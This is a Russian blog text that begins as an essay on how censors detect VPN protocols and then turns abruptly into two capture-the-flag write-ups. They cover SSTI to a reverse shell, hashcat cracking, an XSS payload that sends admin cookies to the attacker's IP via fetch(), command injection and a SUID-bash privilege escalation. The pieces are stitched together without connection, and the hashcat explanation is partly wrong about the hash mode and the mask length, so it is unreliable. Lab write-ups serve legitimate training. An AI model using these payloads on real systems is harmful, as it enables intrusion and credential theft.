Приветствую вас, дорогие читатели, сегодня рассмотрим с вами тему анонимности в нашей любимой глобальной паутине под названием интернет.

Напомню вам , что с 1 марта 2024 года в России действует запрет на распространение информации, которая рекламирует или популяризирует средства обхода блокировок в виде VPN-сервисов. И буквально недавно Роскомнадзор добился блокировки 25 приложений VPN-сервисов в App Store.

Развитие тенденции блокировок VPN-сервисов в нынешних реалиях ничего кроме негатива лично у меня не вызывает. Мы сейчас не говорим , про грубое нарушение законодательства , покупку наркотиков в даркнете, взлом различных площадок и т.д. Речь идет про обыденные сервисы для "простых" пользователей.
Представьте ситуацию, что вы хотите оплатить подписку на нетфликс или зайти в инстаграмм. Именно для этого и нужны нам эти "опасные" приложения.
Если так и продолжится , то обычным пользователям нужно будет нормально так заморочиться , чтобы получить доступ к привычным сайтам.

Сейчас думаю многие скажут , что есть такие решения как OpenVPN и WireGuard. Но есть одно "но" ... WireGuard - это протокол, который всеми своими пакетами просто кричит "Смотрите все, смотрите, я - VPN". И это, в принципе, не удивительно, потому что авторы на сайте проекта прямым текстом пишут, что обфускация не входила и не будет входить в их цели и планы.
Аналогично с OpenVPN. Ведь наши братья китайцы научились выявлять и банить на своем великом китайском фаерволе.
1:0 в пользу цензоров.

Хорошо, а что если вместо палевных протоколов мы будем использовать TLS-VPN? Например такие решения как: SSTP, AnyConnect/OpenConnect? Трафик в них ходит внутри TLS, начальная установка соединения производится по HTTP - что должно быть совсем никак неотличимо от обычного подключения к любому обычному сайту.
Согласно статье на сайте microsoft запрос, отправляемый на сервер SSTP, использует HTTP-команду SSTP_DUPLEX_POST. А это значит , что цензор может отправить на наш сервер следующий HTTP-запроc {наш URL}/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75} и сервер в респонде с радостью сообщит , что он MS SSTP VPN.

AnyConnect/OpenConnect при обращении по / или по /auth ответят очень характерной XML'кой. Избавиться от этого не получится - это определено в протоколах, и именно через эту логику работают VPN-клиенты.
2:0 в пользу цензоров.

Хорошо, мы имеем TLS соединение, но ведь можно поставить реверс-прокси и фильтровать запросы по SNI (server name identification). Все наши подключения с определенным доменом будем отправлять к нам на VPN-сервер, а все остальные - на безобидный сайт с котиками и собачками. Или мы можем даже попробовать спрятаться за какой-нибудь CDN(Content Delivery Network) - не забанят же они весь CDN, правда, и наш трафик из общего трафика ко всей CDN выцепить не смогут, да?

В нынешних версиях TLS поле SNI не шифруется, соответственно цензоры легко его подсмотрят и сделают запрос именно с тем именем домена, что надо.

Но ведь есть расширение Encrypted Client Hello (ECH, ранее изветсное как eSNI). На него можно не рассчитывать: во-первых, оно находится еще в состоянии Draft и неизвестно когда будет принято и повсеместно использоваться, а во-вторых, цензоры могут взять и просто-напросто заблокировать все соединения TLSv1.3 с ECH, как это сделали в Китае.
3:0 в пользу цензоров.

Хорошо, допустим у нас что-то более редкое и незаметное. Казалось бы, все хорошо?
Тут стоит вспомнить про "пакет Яровой"? Тот самый, который требует, чтобы интернет-сервисы сохраняли все метаданные сессий, а интернет-провайдеры так вообще записывали дампы трафика своих абонентов?
Некоторые люди смеялись надо цензорами - мол "Ну и тупые же они, что им дадут гигабайты зашифрованных данных, которые они все равно не расшифруют?"

А вот что...

Пользуетесь вы, допустим, своим туннельчиком, смотрите всякие там запрещенные сайты. А потом - клик! - и случайно заходите через свой туннель на какой-нибудь отечественный сайт или сервис, замеченный в сотрудничестве с государством - условные там VK/Mail.ru/Яндекс или еще что-нибудь. Или на каком-нибудь безобидном сайте попадается виджет, баннер или счетчик от них же. Или кто-нибудь в комментарии вбросит ссылку на какой-нибудь сайт-honeypot, косящий под новостной ресурс, и вы на нее нажмете.

И вот тут произойдет самое интересное. Что внутри TLS, что внутри SSH, что внутри OpenVPN+xor, данные передаются в зашифрованном виде, и их не расшифровать. Но вот "внешняя форма" (размеры пакетов и тайминги между ними) у зашифрованных данных точно такая же, как и у нешифрованных. Цензоры видят, что от абонента к какому-то неизвестному серверу и обратно ходит трафик, а поток со стороны какого-нибудь подконтрольного сервиса видит, что с того же IP-адреса, что у "неизвестного сервера", туда прилетают какие-то запросы и улетают ответы, и - вот интересно - размеры пакетов и временные моменты практически полностью совпадают. Что весьма характерно говорит о том, что у нас тут прокси, возможно VPN, Андрюха, по коням!

И да, если вы поступите мудрее и у вашего сервера будет два IP-адреса, один на вход, а другой на выход, то сопоставить ваш "вход" и "выход" по адресам не получится, но по "форме" переданных данных, хоть и ощутимо сложнее, но при желании по прежнему можно.
4:0 в пользу цензоров.

Подводя итог , можно сказать что обход блокировок - это постоянная борьба щита и меча, и одновременно игра в кошки-мышки: иногда ты ешь медведя, иногда медведь ест тебя иногда ты догоняющий, иногда догоняемый.

В любом случае рано или поздно, не имея возможности противостоять подобному свободолюбию технически, государство может начать противостоять административно , причем так, что с вашей стороны, в свою очередь, технически противостоять может уже не получиться.

Всем мира, любви и добра. See you soon.

Разведка

Первым делом просканируем целовой хост на открытые порты:

Ключ -А позволяет нам детекить операционную систему, версию, различные сценарии

Далее пофаззим директории с помощью инструмента dirsearch:

Ничего интересного фаззинг нам не предоставил, перейдем в каталог /about:

Изучив сайт , перейдем в каталог /weight-grade-calc и увидим следующую картину:

Перед нами веб тулза , которая позволяет рассчитать вес оценок для различных предметов

Используя BurpSuite получим информацию , что сервер поднят на WEBrick 1.7.0, который, в свою очередь, основан на Ruby 3.0.2. Это все, что нам нужно знать, чтобы начать эксплуатацию.

Получаем User флаг

Изучая информацию про WebRick и Ruby, я наткнулся на то, что существует 3 шаблона Ruby: ERB, HAML и Slim, из которых ERB является более распространенным, так как он устанавливается по умолчанию. В поисках полезных данных о Ruby ERB exploit наткнулся на этот ресурс:

На скриншоте выше представлен перечень полезных нагрузок для проверки на наличие уязвимости SSTI.

SSTI (Server Side Template Injection) - это уявимость, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера.

Под шаблоном на стороне сервера подразумевается файл или фрагмент кода, который определяет, как веб-приложение будет отображать данные пользователям. Обычно он выполняется на стороне сервера и генерирует динамический контент, который отправляется в браузер пользователя. При атаке SSTI злоумышленник может внедрить свой собственный код в шаблон на стороне сервера, что позволяет ему выполнять произвольный код на сервере, манипулировать данными или получать доступ к конфиденциальной информации.

Пример вредносного HTTP-запроса злоумышленника:

GET /search?q={{import os; os.system('/bin/bash')}} HTTP/1.1
Host: example.com

Подтвердим нашу теорию про наличие SSTI на стороне сервера, перехватив POST HTTP-запрос Бурпом:

Можно заметить , что присутсвует базовая фильтрация ввода, а что если немного поменять полезную нагрузку? Попробовав много вариантов, я нашел обход фильтрации:

Теперь дело за малым , начнем принимать соединения на наш кастомный порт с помощью netcat :

И отправим POST запрос, который позволит получить реверс шелл на нашу машину:

Бинго! Мы внутри. Теперь поизучаем каталоги , для получения нашего юзер флага:

Эскалация привилегий

В результате изучения директорий я наткнулся на каталог /Migration, в которой лежал файл с кредами от базы данных:

Проанализиурем наш хэш с помощью hashid:

При дальнейшем изучении каталогов я нашел письмо со следующим содержанием:

> cat /var/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student'

Данное письмо содержит шаблон создания пароля . Поскольку у нас также есть хэш пароля, мы можем провести атаку по хэш-маске.

hashcat -m 1400 hash.txt -a 3 -d 1 susan_nasus_?d?d?d?d?d?d?d?d?d

Что делает каждая часть:

• -m 1400: Указывает Hashcat использовать режим 1400, который соответствует алгоритму хеширования SHA-512/256, используемому bcrypt.
• hash.txt: Это файл, содержащий хешированные пароли
• -a 3: Устанавливает тип атаки на перебор по маске (атака с использованием настраиваемой маски символов).
• -d 1: Указывает Hashcat использовать только одно ядро (GPU) в нашей системе.
• susan_nasus_?d?d?d?d?d?d?d?d?d?d: Это маска, определяющая формат пароля, который мы будем брутить.
• susan_nasus_ - Фиксированная часть пароля.
• ?d - Представляет одну цифру (0-9). В маске 11 таких символов, что означает, что Hashcat будет проверять все возможные комбинации 11 цифр после "susan_nasus_".

В результате получаем следующее:

Получаем ROOT флаг

Теперь у нас есть пароль, давайте подключимся по SSH к этой учетке и проверим ее права в системе:

Отлично, запустим нашу root-оболочку

> sudo su

И заберем наш root флаг:

Машина взломана!

Проверим доступность нашей тачки с помощью утилиты ping:


Также добавим адрес данной машины в файл /etc/hosts , чтобы к машинке можно было обращаться по домену:

Разведка:

По станадрту для разведки используем утилиту для сканирования портов nmap:

Как мы можем заметить у нас открыты два порта: это 22 , на котором висит ssh-service и 5000/tcp . Можно подметить интересный HTTP-Request, в котором у нас есть HTML-документ. Давайте проверим данный порт в вэбчике:

Пока ничего инетересного, попробуем пофаззить каталоги с помощью утилиты dirsearch:


Фаззинг директорий выдал нам 2 рабочие, причем каталог /dashboard отвечает нам кодом 401 HTTP. Код ответа на статус ошибки HTTP 401 Unauthorized клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.

Путь /support ведет нас на следующую страницу, сразу приходит идея проверить поля на наличие уязвимости типа Cross-Site Scripting ( XSS в простонародье ):

В результате получаем вот такой ответ:

Сайт уведомляет нас о попытке прокинуть полезную нагрузку в форму. Изучив HTTP-Requestможно обратить внимание на поле Cookie. Выстраивая цепочку связей , мы можем предположить , что нам нужны куки админа , чтобы получить доступ к каталогу /dashboard.

Используем Burp Suite в качестве прокси-сервера, чтобы можно было подменять наши параметры во время POST запросов. Мы также помним , что сайт потенциально уязвим под XSS,а значит поспамим различными полезными нагрузками в загаловке User-Agent и в полях запроса :

Наша нагрузка <img src=x onerror=fetch('http://10.10.14.101/?c='+document.cookie); представляет из себя JavaScript код, который отрабатывает следующим образом:
1) Тэг <img src=x> содержит ссылку на неизвестное изображение с названием x

2) Если наше изображение не найдено, то отрабатывает атрибут onerror=fetch(...), где fetch - это метод, который позволяет отправить серверу сетевой запрос.

let promise = fetch(url, [options])

И самое главное! Чтобы получить HTTP-Response от сервера, мы должны его поднять на нашей машине:

Ждем пару минут и начинаем получать цепочку ответов на наш с вами сервер:

Скопируем куки , которые мы получили и используем Burp Suite чтобы прокинуть запрос с обновленными данными:

Получаем доступ к каталогу /dashboard:

Опять же воспользуемся бурпом, чтобы словить POST запрос и поискать другие уязвимости:

Перед нами стандартная CMDi ( OS Command Injection ). Данная уязвимость позволяет выполнять произвольные системные команды на внутреннем сервере. Воспользуемся этим и "заставим" сервер скушать заранее подготовленный нами reverse-shell код, который позволит нам получить доступ к системе:

Начнем слушать на входящие соединения 1234 порт с помощью netcat:

И с помощью curl скачаем наш скрипт и загрузим его в память:

Мы помним ,что у нас уже запущен web-server на 80 порту, туда и прилетает наш GET-запрос на скачивание скрипта:

И ловим нашу обратную оболочку:

Эскалация привилегий:

С помощью команды sudo -l посомотрим на права нашего юзера:

Можно заметить что мы можем читать файл в директории /usr/bin/syscheck и вот его содержимое:

При проверке файла наиболее примечательной частью является попытка программы выполнить файл с именем initdb.sh. Поскольку для выполнения файла используется относительный путь, мы можем использовать эту возможность , чтобы создать файл с таким именем в нашем текущем каталоге, что приведет к его выполнению с привилегиями sudo.

Идея заключается в том, чтобы установить бит SUID для двоичного файла /bin/bash и повысить наши привилегии с помощью этого. Запуская /bin/bash -p, когда в двоичном файле установлен бит SUID, опция -p позволяет оболочке bash по умолчанию запускаться с привилегиями SUID.

Теперь запустим наш скрипт от имени sudo и подтвердим нашу теорию:

Вот и все , машина была взломана. Надеюсь вам понравился данный write-up. Жду ваших реакций и всем пока :)